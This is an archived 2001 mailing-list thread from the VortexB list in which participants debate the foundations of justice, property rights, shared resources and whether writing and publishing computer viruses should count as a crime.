not, that it is > > ridiculous nonsense. > > > > Then what principle can form the basis of reasoned justice--i.e., of > > justice itself? The answer: the principle of prior claims--the notion that, > > in a dispute over property, the provable prior claim is the best claim. > > > > And what is a "provable prior claim"? It is the claim which, based on > > factual evidence, has the earliest basis. > > > > If, for example, you have lived in your home for 20 years, and a stranger > > invades it and kicks you out, you will be able to prove, by a preponderance > > of evidence, that your claim antedates his. Result: the burden of proof > > will be upon him to demonstrate, via a title transfer signed by you, by > > credible eyewitnesses, etc., that the title which was yours for a 20 year > > period is now his by voluntary transfer. If he can't do it, then it is you, > > not he, who has the provable prior claim, and the decision of a reasoning > > arbiter will be in your favor. > > > > That, in briefest essence, is how reasoned justice works, and with a > > sufficient amount of thought the principles underlying that example should > > become clear to you. > > > > --Mitchell Jones}*** > > hamdi ucar From vortexb-l-request@eskimo.com Mon Dec 24 22:35:54 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id WAA15552; Mon, 24 Dec 2001 22:34:54 -0800 Resent-Date: Mon, 24 Dec 2001 22:34:54 -0800 From: "xplorer" To: Subject: Foundation Of Justice: Property Date: Tue, 25 Dec 2001 13:39:01 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <3C277D59.1F74F162@verisoft.com.tr> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Resent-Message-ID: <"Efy3J.0.xo3.Eu1Ay"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1516 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 13 VortexB lives on ... amazing! To Hamdi and Mitchell, A thought for your millstones: =========Property--------- Property is an attribute of an economy - however it is acquired, it is a result of effort. The effort of a being to produce or acquire 'property' is an expense of time and/or energy of the being, and, conversely, any product of effort is property, in some form or another. It might be a trade of previously acquired property for a newer, more desireable property. 'Property' is an extension of the being. Any interference against the property is interference against the being who owns the property. ====Justice-------- Justice, historicly is an effort of retribution and punishment, mere self-gratification of ego and spirit. Justice (as practiced) is a moniker for destroying 'criminals', preferably with great circus entertainment value, rather than to restore economy or otherwise reverse 'injustice' to victims. I prefer that Justice be redefined as follows: Justice - the restoration and/or preservation of economic balance among beings/parties. Justice then becomes purely a means for 'righting wrongs', wrongs being in a any way you cre to perceive them as efforts by one party to either diminish or steal property of another party, be that property physical or an attribute. Not equality, as some people make more effort than others, resulting in their greater ownership of property. Perhaps someone else can describe this better. I will address community property separately. happy holidays... > -----Original Message----- > From: hamdi ucar [mailto:hamdix@verisoft.com.tr] > Sent: 2001 December 25 Tuesday 02:09 > To: VortexB > Subject: Re: Foundation Of Justice > > > > Mitchell, > > Thank you for your input. As you explained, I am seeking a base for reasoning to determine rights, to determine what > is justifiable and not, in a civilized world. Reasoning that you provide is binding any kind of right to "ownership". > Ownership in turn, to be valid need some extra assumptions in order to determine rights of living beings. I can > extend ownership to "right to use" and "exclusivity". It also require am exchange of ownership mechanism to be used. > You give kind of inheritance mechanism for this. But this is not sufficient to distribute ownership. How a man > acquire possession of things from his born to its later ages? Obviously some other transfer mechanism are needed. As > "rights" are bind to "possession" in your logic, transfer of rights should be considered. Should all rights allowed > be transferred? These require further principles which can not be extracted from concept of ownership. >*< > As mike stated, many communities and nations have very limited notion of ownership. They have not exclusivity over > resources and rights and justice is not based on possession. From these facts I can deduce the ownership is not > foundation of rights and justice but ownership is a product of rights according a specific agreement over communities. > > > > Mitchell Jones wrote: > > > > > > Hamdi Ucar wrote: > > > > > > >In wild life there is no justice in human sense I observed so far. But > > > >still there are justifications. > > > > > > > >Wild life is based on economy, evolution require predators and preys, > > > >consumption of one life save another, so relation between predators and > > > >preys is justifiable, as long as the evolution goes on. > > > > > > > >Maybe the main difference between wild life and civilized life is the > > > >justice. Justice is not just for keep order in communities, and "order" > > > >should not be foundation of justice. Order can be kept without justice, by > > > >power and by other mechanisms as kept on nature and in wild life. > > > > > > > >So, what should be the foundation of justice? > > > > > > ***{Hamdi, I think the root of the concept of justice lies in the idea that > > > disputes over property can be settled on the basis of reason, in the same > > > way that disputes about facts can be settled on the basis of reason. In > > > other words, the notion of "reasoned justice" is, in a very real way, > > > redundant. > > > > > > Justice, in other words, requires that disputes over property be turned > > > over to a neutral, reasoning arbiter--someone who has no biases that cause > > > him to support one side or the other, and who is willing to look > > > objectively at the evidence and evaluate it fairly. Such an arbiter will > > > proceed in the same way that a scientist is supposed to proceed. His > > > courtroom will be focused on the search for truth in the same sense that a > > > scientific laboratory is supposed to be. > > > > > > Of course, in order for disputes about property to be settled on the basis > > > of reason, it must be possible to find, in the real world, principles of > > > jurisprudence that permit objective decision making. Without them, > > > subjectivity necessarily reigns. Reasoned justice, for example, cannot be > > > based on any sort of man-made law, because "law" is anything a sovereign or > > > a legislature says it is--which means, more often than not, that it is > > > ridiculous nonsense. > > > >*< > > > > > > --Mitchell Jones}*** > > > > > hamdi ucar > > From vortexb-l-request@eskimo.com Mon Dec 24 22:37:59 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id WAA15571; Mon, 24 Dec 2001 22:34:56 -0800 Resent-Date: Mon, 24 Dec 2001 22:34:56 -0800 From: "xplorer" To: Subject: Foundation Of Justice: Community property Date: Tue, 25 Dec 2001 13:39:03 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <3C277D59.1F74F162@verisoft.com.tr> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Resent-Message-ID: <"WkumY1.0.Ep3.Fu1Ay"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1517 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 14 Greetings again, Hamdi and Mitchell, Community property, such as 'rain' and air might not be what you think they are. Rain falls on everyone, right ? Air is a 'right', right ? Not really. Consider what happens to the lazy bum who habitually steals and consistently makes a nuisance of himself to others aboard some distant space station. Allergic to work, devout communist that he is, he would, in short order find his 'right' to atmospheric pressure suspended for a term long enough to ensure his activities permanently cease. Ideally, his 'possessions' would then be redistributed to those he had previously short-changed. Does your 'right' to air mean that you have the 'right' to steal the oxygen from it, to pollute it with CO, CO2, etc. and make it difficult for others to breathe ? Rain should fall where it will, and air should follow the wind. Whatever you do to it while in your 'domain' is then a chargeable cost you owe the community, however you wish to measure it. Why should the community be compensated ? Because the resources you use are then no longer available to the rest of the community, be they downwind, downriver, or whatever. The community is a framework that defines the boundaries of property. It is not some 'higher authority' that needs to be worshipped, as communists do, nor does it have pre-emptive say, as most governments prescribe. It is simply the collection of individuals that share a common resource such as an atmosphere, or river drainage. ............... As to DNA and other 'designs' I regard 'design protection' - and anything else regarding intellectual property - as being at least unenforcable and moreso a complete waste of time and community resources. On this side of the planet are good examples of what a waste of time it is. Consider a Galactic Empire with millions of little bespectacled green-skinned accountant-types zooming through zillions of cubic light-years trying to enforce intellectual protection on DNA - what if it's your DNA ? - do you then need to be terminated because some holo-hero on the other side of the galaxy designed a DNA- baby for his wife and got court-protection that it would never be duplicated - years before you were born? Absurdities are born at relativistic velocities... If you design it -!- build, or sell it, or form partnership with someone who can. Don't waste taxpayer dollars trying to enforce the unenforceable. =====afterthought------ The 'Greenies' are fond of reciting that the Earth surface is 75% water covered - a prime component of our environmental balancesheet. I would rather point out that the Universe we know about is primarily a radiation-poisoned near-vacuum, and that any environmental balancesheet begins there, not from a basis of abundant air and water. ----followon: Our inheritance is primarily that our ancestors had the good sense to settle on this planet, ensuring we had abundant air, water, etc. We should regard this as an inheritance, and not squander it. cheers Paul > -----Original Message----- > From: hamdi ucar [mailto:hamdix@verisoft.com.tr] > Sent: 2001 December 25 Tuesday 02:09 > To: VortexB > Subject: Re: Foundation Of Justice > > > > Mitchell, > . . . > > Exclusivity is also a problem as we naturally use shared resources in earth like O2. O2 is product of living beings > capable to photosynthesis. Also the water. May the water one needs and rain are produced from others "properties". > Who will own rights of the rain? > > So, further principles are needed to determine rights over shared resources which are not property. Even I restrict > the concept of ownership to "property" in the meaning of land, it is not clear how it extend the ownership an > exclusivity of the land in downward direction to the center to earth and into the sky. > > In other imprortant issue is use and consumption of other living beings by us. All these beings have genetic designs > in their DNA. These designs are very complex and still can not be made by human capabilities. These designs are > required for their existence therefor we profit on them. Who have the ownership of these designs? Not in a religious > context., these beings owns and share their genetic designs with others in the mechanism of evolution. All these > species had challenged with nature to carry their design to future, that is their existence. These designs are their > most valuable possessions. Human existence require existence of other species, from bacteria, grass, tress,crops and > animals we consume. We profit from them not because we possess them (even we farm them, we do not possess their > genetic designs), but we need them for to live. I think why justice and rights should be based on necessities and > "justifiable" criteria rather than ownership. And most strong argument f! > or justification is life. > > May you recall I had previously referenced this genetic design ownership argument to integrate rights of other > species than humans on our legal system. This is an important arguments because we have already laws and logic to > protect designs like copyrights and patents. Even some biogenetic research firms have patents of genetic material > like mouses that are used on experimenting human diseases on them. So it would not be hard technically include > natural designs and gene pools on our copyright protecting system. > > As mike stated, many communities and nations have very limited notion of ownership. They have not exclusivity over > resources and rights and justice is not based on possession. From these facts I can deduce the ownership is not > foundation of rights and justice but ownership is a product of rights according a specific agreement over communities. > > > > Mitchell Jones wrote: > > > >*< > > > > > > ***{Hamdi, I think the root of the concept of justice lies in the idea that > > > disputes over property can be settled on the basis of reason, in the same > > > way that disputes about facts can be settled on the basis of reason. In > > > other words, the notion of "reasoned justice" is, in a very real way, > > > redundant. > > > > > > Justice, in other words, requires that disputes over property be turned > > > over to a neutral, reasoning arbiter--someone who has no biases that cause > > > him to support one side or the other, and who is willing to look > > > objectively at the evidence and evaluate it fairly. Such an arbiter will > > > proceed in the same way that a scientist is supposed to proceed. His > > > courtroom will be focused on the search for truth in the same sense that a > > > scientific laboratory is supposed to be. > > > > > > Of course, in order for disputes about property to be settled on the basis > > > of reason, it must be possible to find, in the real world, principles of > > > jurisprudence that permit objective decision making. Without them, > > > subjectivity necessarily reigns. Reasoned justice, for example, cannot be > > > based on any sort of man-made law, because "law" is anything a sovereign or > > > a legislature says it is--which means, more often than not, that it is > > > ridiculous nonsense. > > > Amen to that -> > > > > > > --Mitchell Jones}*** > > > > > hamdi ucar > > From vortexb-l-request@eskimo.com Tue Dec 25 05:48:53 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id FAA09732; Tue, 25 Dec 2001 05:48:08 -0800 Resent-Date: Tue, 25 Dec 2001 05:48:08 -0800 Sender: jack@mail3.centurytel.net Message-ID: <3C2882CE.2041BA76@centurytel.net> Date: Tue, 25 Dec 2001 13:44:46 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice: Property References: Content-Type: text/plain; charset=us-ascii; name="xp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xp" Resent-Message-ID: <"iwF103.0.wN2.OE8Ay"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1518 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 15 xplorer wrote: Justice, historicly is an effort of retribution ... Hi All, In this day of anti-terrorist measures, it is worthwhile to keep some things in mind. The essence of the wisdom of the Age of Pericles is clearing presented by Thucydides in the speech of the Athenian ambassador to the Melians: "Our opinion of the gods and our knowledge of men lead us to conclude that it is a necessary and general law of nature that men must rule wherever they can ... The strong will do what they have the power to do, and the weak will accept what they have to." In antithesis to this theory of empire, the foundation of American justice is our commitment to resist arbitrary and oppressive government at any cost. When we forget this, the corrupt fascists among us and the fanatic mullahs of whatever dogma will have won. The flip side of the current situation is well presented in "The Handmaid's Tale." Jack Smith From vortexb-l-request@eskimo.com Thu Dec 27 15:22:27 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id PAA08310; Thu, 27 Dec 2001 15:21:30 -0800 Resent-Date: Thu, 27 Dec 2001 15:21:30 -0800 Message-ID: <3C2BAAE8.72898E1F@verisoft.com.tr> Date: Fri, 28 Dec 2001 01:12:40 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"9Oj6b3.0.n12.vpwAy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1519 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 16 Hi, There is just a case on this issue.(from my point of view) See http://www.wired.com/news/politics/0,1283,49313,00.html "Why Worm Writers Stay Free". The article clearly qualify authors of virus and worm programs as criminal. Indeed government often arrest and charge them if they can identify them. So, you may probably think they are criminal also. Please note that many hackers write these program but they NOT distribute (send to victims by emails or inject into servers), instead they publish their source code in Vx zines. Government and public opinion makes AUTHOR of specific programs criminal. But what is the argument? This exactly like publishing a document about fire starting, publishing a hazardous chemical formula, etc. Argument that put them in criminal status is I think the benefit argument. All these documents are not in first hand for benefit of community or for the system. I think this argument is wrong. I tried to explain why justice can not founded on benefit or usefulness. For the same reason, cryptographic communication is banned in certain countries. Because personal cryptographic communication have no economic benefit. So freedoms can be discarded if no economical benefit. Is my mind is flawed or minds of the millions of people all around the world? :) Regards, hamdi ucar From vortexb-l-request@eskimo.com Thu Dec 27 21:13:40 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id VAA19548; Thu, 27 Dec 2001 21:12:04 -0800 Resent-Date: Thu, 27 Dec 2001 21:12:04 -0800 From: "xplorer" To: Subject: RE: Foundation Of Justice Date: Fri, 28 Dec 2001 12:16:08 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3C2BAAE8.72898E1F@verisoft.com.tr> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Resent-Message-ID: <"9wWZM1.0.Ln4.ay_Ay"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1520 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 17 Hackers are hackers Criminals are Criminals Not necessarily the same. Hacking is an activity. Crime is an activity that, by definition, involves violation of some law, be it correct or otherwise. Hacking doesn't necessarily mean violating a law. Unfortunately, the lowest common denominator (public perception) has not got the intelligence to perceive the difference. Hence the nutty legal system arising in 'true democracies'. [If you really love democracy, go live with apes and let them vote, too.] I would rather leave than try to change the system here. So I shall. bye for now. > -----Original Message----- > From: hamdi ucar [mailto:hamdix@verisoft.com.tr] > Sent: 2001 December 28 Friday 06:13 > To: vortexb-l@eskimo.com > Subject: Re: Foundation Of Justice > > > Hi, > > There is just a case on this issue.(from my point of view) See http://www.wired.com/news/politics/0,1283,49313,00.html > "Why Worm Writers Stay Free". The article clearly qualify authors of virus and worm programs as criminal. Indeed > government often arrest and charge them if they can identify them. > > So, you may probably think they are criminal also. Please note that many hackers write these program but they NOT > distribute (send to victims by emails or inject into servers), instead they publish their source code in Vx zines. > Government and public opinion makes AUTHOR of specific programs criminal. But what is the argument? This exactly like > publishing a document about fire starting, publishing a hazardous chemical formula, etc. > > Argument that put them in criminal status is I think the benefit argument. All these documents are not in first hand > for benefit of community or for the system. I think this argument is wrong. I tried to explain why justice can not > founded on benefit or usefulness. > > For the same reason, cryptographic communication is banned in certain countries. Because personal cryptographic > communication have no economic benefit. So freedoms can be discarded if no economical benefit. > > Is my mind is flawed or minds of the millions of people all around the world? :) > > Regards, > > hamdi ucar > > From vortexb-l-request@eskimo.com Fri Dec 28 01:48:51 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id BAA31080; Fri, 28 Dec 2001 01:45:09 -0800 Resent-Date: Fri, 28 Dec 2001 01:45:09 -0800 Message-ID: <3C2C3D77.9E3F944D@verisoft.com.tr> Date: Fri, 28 Dec 2001 11:37:59 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: VortexB Subject: message to Mike - others please ignore Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"kLdUa3.0.Zb7.by3By"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1521 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 18 Mike, my SMTP server can not send message to you. Here is the diagnostic. I will try to send my off-list mail by alternate ways. Could be a forward from 3'rd person. Regards, hamdi ucar --------------Diagnostic ---------- This Message was undeliverable due to the following reason: Each of the following recipients was rejected by a remote mail server. The reasons given by the server are included to help you determine why each recipient was rejected. Recipient: Reason: Service unavailable; [212.156.4.3] blocked using inputs.orbz.org, reason: Open relay. Please see http://orbz.org/?212.156.4.3 Please reply to if you feel this message to be in error. Reporting-MTA: dns; venus1.ttnet.net.tr Received-From-MTA:dns; verisoft.com.tr (195.174.6.61) Arrival-Date: Fri, 28 Dec 2001 12:29:00 +0300 Remote-Recipient: rfc822; Diagnostic-Code: smtp;551 SMTP-Deliver:BadRecipient Action: failed Status: 5.1.6 Remote-MTA: DNS;imgate1.snip.net Last-Attempt-Date: Fri, 28 Dec 2001 12:29:09 +0300 ----------------------- From vortexb-l-request@eskimo.com Fri Dec 28 11:56:15 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id LAA00376; Fri, 28 Dec 2001 11:55:40 -0800 Resent-Date: Fri, 28 Dec 2001 11:55:40 -0800 Message-ID: <003501c18ff2$a9dd6140$6e45ccd1@asus> From: "Mike Carrell" To: References: <3C2BAAE8.72898E1F@verisoft.com.tr> Subject: Re: Foundation Of Justice Date: Fri, 28 Dec 2001 14:04:04 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Resent-Message-ID: <"tntbp2.0.j5.yuCBy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1522 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 19 Hamdi said: > Hi, > > There is just a case on this issue.(from my point of view) See http://www.wired.com/news/politics/0,1283,49313,00.html > "Why Worm Writers Stay Free". The article clearly qualify authors of virus and worm programs as criminal. Indeed government often arrest and charge them if they can identify them. Which governments? In the US, writing and even publishing worm and virus programs can be defended as "free speech" with Constitutional protections. In the US possession of a gun is protected by the Constitution. Killing is not. > > So, you may probably think they are criminal also. Please note that many hackers write these program but they NOT distribute (send to victims by emails or inject into servers), instead they publish their source code in Vx zines. Government and public opinion makes AUTHOR of specific programs criminal. But what is the argument? This exactly like publishing a document about fire starting, publishing a hazardous chemical formula, etc. In what countries? Free speech again. > > Argument that put them in criminal status is I think the benefit argument. All these documents are not in first hand for benefit of community or for the system. I think this argument is wrong. I tried to explain why justice can not founded on benefit or usefulness. > > For the same reason, cryptographic communication is banned in certain countries. Because personal cryptographic communication have no economic benefit. So freedoms can be discarded if no economical benefit. > > Is my mind is flawed or minds of the millions of people all around the world? :) You are using "economic benefit" as the criterion and it is a wrong criterion. "Benefit" is closer to a criterion, but the better understanding of it is "Survival" in the broadest sense. Survival is often defined as survival of self (Number 1), but that leads to wrong answers. You are also using "Justice" as the goal, when "Optimum Survival" leads to better policies. What is good for the duck hunter is not good for the duck. A better way of understanding is to think of survival as a matter of concentric circles: 1) Self 2) Family 3) Groups 4) Mankind 5) Other Life Forms 6) Physical Universe 7) Thought, Spirit 8) God, infinity. Now one can ask what leads to optimum survival? I'm indebted to L. Ron Hubbard for the above formulation. There is a Buddhist doctrine of "Interdependence of All Created Things" which points in a similar direction. The pseudo-independent hacker may flaunt his cleverness by publishing a virus or invading a computer. "He" may do no harm, but he is enabling someone less clever and more nasty to inflict harm on others, families, groups, and mankind to some degree. So is the gun manufacturer; he is making it easier for A to kill B. A person posing and flaunting his independence is in fact dependant on others for the computers he uses, the clothes he wears, the food he eats, etc. and etc. If he wishes to be independent, let him start *walking* now into the wilderness until he has to compete on a equal basis with other animals for food and shelter. It isn't Justice that one should seek, but Ethics, as optimum survival for all aspects of life as listed above. It is better to heal the fanatic than to kill him, but fanatics have caused immense destruction. This doesn't give easy answers. My point is that ****economic**** benefit is too narrow a vision. It happens that economics and money are metrics which are often used and misused to measure benefit. A better measure is "The Valuable Final Product" of any activity. I must again acknowledge Hubbard for this formulation, but its equivalent can be found in other formulations, such as Motorola's senior directive. The Valuable Final Product might be hours of enjoyment of music or acres of pleasant playgrounds -- these have nothing essentially to do with money. In the case of Motorola, the directive is to completely satisfy the customer, which might be the next stage of a production process as well as the final consumer. This leads to *exchange* as the lifeblood of "benefit". There has to be a balance of giving and receiving for health on any level of the list above. An extreme example is Hawking, who occupies the Newton chair at Cambridge University and is kept alive by constant medical support which includes specialized communication equipment. His VFP is teaching and his insights into the nature of the physical world. Essentially, society nurtures his mind. I find it interesting the some people attack the salaries of corporate CEOs but not the fees paid to entertainers and star athletes, who can earn more than the President of the US. It is an interesting exercise to understand the survival 'benefit' of the entertainers. it is there, but it is not obvious. Technology amplifies the potential for benefit and harm by any individual. I want to use my computer without threat of disruption by someone I never heard of and who never heard of me. There is a potential for anarchy. The anarchist may think that he would survive better if there were fewer rules, but he needs order and prediction as much as anyone else. Societies want to survive, too. And they have a right to protect themselves. And, yes, societies can become tyrannical and oppressive and the alternatives are to move or revolt. There are fewer places to move to now, so there is the implicit need to revolt, and revolution requires stealth, breeding the ":freedom fighter" or "terrorist", depending on whose side you are on. These are not optimum solutions to the problem of survival. Perhaps the one of the oldest formulas is still the best: The Golden Rule. Mike Carrell From vortexb-l-request@eskimo.com Fri Dec 28 13:29:26 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id NAA08846; Fri, 28 Dec 2001 13:28:02 -0800 Resent-Date: Fri, 28 Dec 2001 13:28:02 -0800 Message-Id: <5.1.0.14.2.20011228161145.02e9da70@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 28 Dec 2001 16:28:24 -0500 To: vortexb-l@eskimo.com, From: Jed Rothwell Subject: Re: Foundation Of Justice In-Reply-To: <003501c18ff2$a9dd6140$6e45ccd1@asus> References: <3C2BAAE8.72898E1F@verisoft.com.tr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"1qJcR1.0.9A2.YFEBy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1523 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 20 Mike Carrell wrote: >Which governments? In the US, writing and even publishing worm and virus >programs can be defended as "free speech" with Constitutional protections. No, it can't. It is a violation of the Computer Abuse Act of 1984, which has not been found unconstitutional. The U.S. has never allow fully unbridled free speech. No nation ever has, or ever will. Here are some forms of prohibited speech: Fraud False advertising Libel Perjury Publishing military and industrial secrets Threat of bodily harm Deliberate false alarms (shouting fire in crowded theater) Impersonating authorities (counterfeiting and the like) Impersonating individuals (identity theft) Pornography (some types) No civil right is absolute. Even the extremists agree. The ACLU does not object to that list of restrictions, and I assume the NRA does not mind laws that prevent individuals from owning nuclear and "daisy cutter" bombs. (There are hundreds of people like Bill Gates who have enough money to make a bomb or purchase one from Russia.) - Jed From vortexb-l-request@eskimo.com Sat Dec 29 04:46:55 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id EAA13496; Sat, 29 Dec 2001 04:41:46 -0800 Resent-Date: Sat, 29 Dec 2001 04:41:46 -0800 Message-ID: <3C2DB868.485CE1C1@verisoft.com.tr> Date: Sat, 29 Dec 2001 14:34:48 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2BAAE8.72898E1F@verisoft.com.tr> <003501c18ff2$a9dd6140$6e45ccd1@asus> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"kKLMR.0.lI3.AeRBy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1524 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 21 Mike Carrell wrote: > > Hamdi said: > > > Hi, > > > > There is just a case on this issue.(from my point of view) See > http://www.wired.com/news/politics/0,1283,49313,00.html > > "Why Worm Writers Stay Free". The article clearly qualify authors of virus > and worm programs as criminal. Indeed government often arrest and charge > them if they can identify them. > > Which governments? In the US, writing and even publishing worm and virus > programs can be defended as "free speech" with Constitutional protections. > In the US possession of a gun is protected by the Constitution. Killing is > not. It was once a time (referencing Jed). More important than laws banning such form free speech of scientific research, (I think writing worm and viruses is an important part of computer science) opinion of people are. I am asking what should be criteria when a person judge an act and decide it should be a right that act or a crime. This decision reflect the foundation of justice in the mind of individual. If majority of people in a community agree on these foundations (not on decisions), a law would be established. So laws would not be simply wishes of majority in arbitrary manner, but would have a foundation. For example destruction of wild life, more specially to decide whether wolves allowed to exist or be killed is issue of justice. Should wolves be stripped of their right to exist because the harm livestock? I think answer depend on foundation of justice. If justice is based on benefit, and proved wolves have no benefit at all to people or to community, wolves needs be killed, even their races. If justice is based on basic rights and survival, wolves would be protected. Benefit criteria would not distinguish a earth worm (BTW earth worms carried from Europe about 100 years ago are slowly destroying forests in north of U.S. and it is impposible to stop them.) from a wolves, other nations next to frontiers or a extraterrestrial civilization. Criteria is simple: Are they useful, benefitable . For who? For a person, for a community, for humanity or for all species around, and in the universe. Enlarging the scope does not cure the problem of subjectivity, because benefit criteria is based on projection, needs assumptions to decide something is benefitable or not. This is subjective again. For example we (should) do science not because science is benefitable, but we have right to know truths. If science is based on benefit, as I said earlier, there would be good and bad sciences, even discovering a poison formula or developing an algorithm for better virus writing be considered as science, they will be classified ad bad science and people doing such researches would be discredited or banned. As I said above logic of people in determining rights is important. Actually communities dont need solid laws to punish people when the judge them guilty. Law enforcement and other legal processes are quite effective. For example Kevin Mitnick is held in prison for five years without a trial. Or company policies over employees are quite effective. > You are using "economic benefit" as the criterion and it is a wrong > criterion. "Benefit" is closer to a criterion, but the better understanding > of it is "Survival" in the broadest sense. Survival is often defined as > survival of self (Number 1), but that leads to wrong answers. Yes, "survival" should be the criterion. It is important to distinguish survival, benefit and economic benefit. I hope i explained the the effect "general benefit" criteria above. For the rest of your comments and about "circles" I will write a separate posting. Regards, hamdi ucar From vortexb-l-request@eskimo.com Mon Dec 31 17:16:31 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id RAA18112; Mon, 31 Dec 2001 17:15:13 -0800 Resent-Date: Mon, 31 Dec 2001 17:15:13 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: In-Reply-To: <3C277D59.1F74F162@verisoft.com.tr> References: <3C2711D5.17157B05@verisoft.com.tr> Date: Mon, 31 Dec 2001 19:13:42 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice Resent-Message-ID: <"J_njI1.0.xQ4.XsGCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1525 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 22 > >Mitchell, > >Thank you for your input. As you explained, I am seeking a base for >reasoning to determine rights, to determine what is justifiable and not, >in a civilized world. Reasoning that you provide is binding any kind of >right to "ownership". Ownership in turn, to be valid need some extra >assumptions in order to determine rights of living beings. ***{If you accept the goal of settling disputes about property on the basis of reason--i.e., if that is your premise--then the system of private ownership and of the inviolability of ownership rights, capitalism, inexorably follows. The reason: the principle of prior claims is the only way that a reasoning, neutral arbiter can settle disputes. Attempts to invoke any other principle lead inevitably to subjectivity and/or bias, and/or to a proliferation of disputes, which contradicts the goal of the entire enterprise. 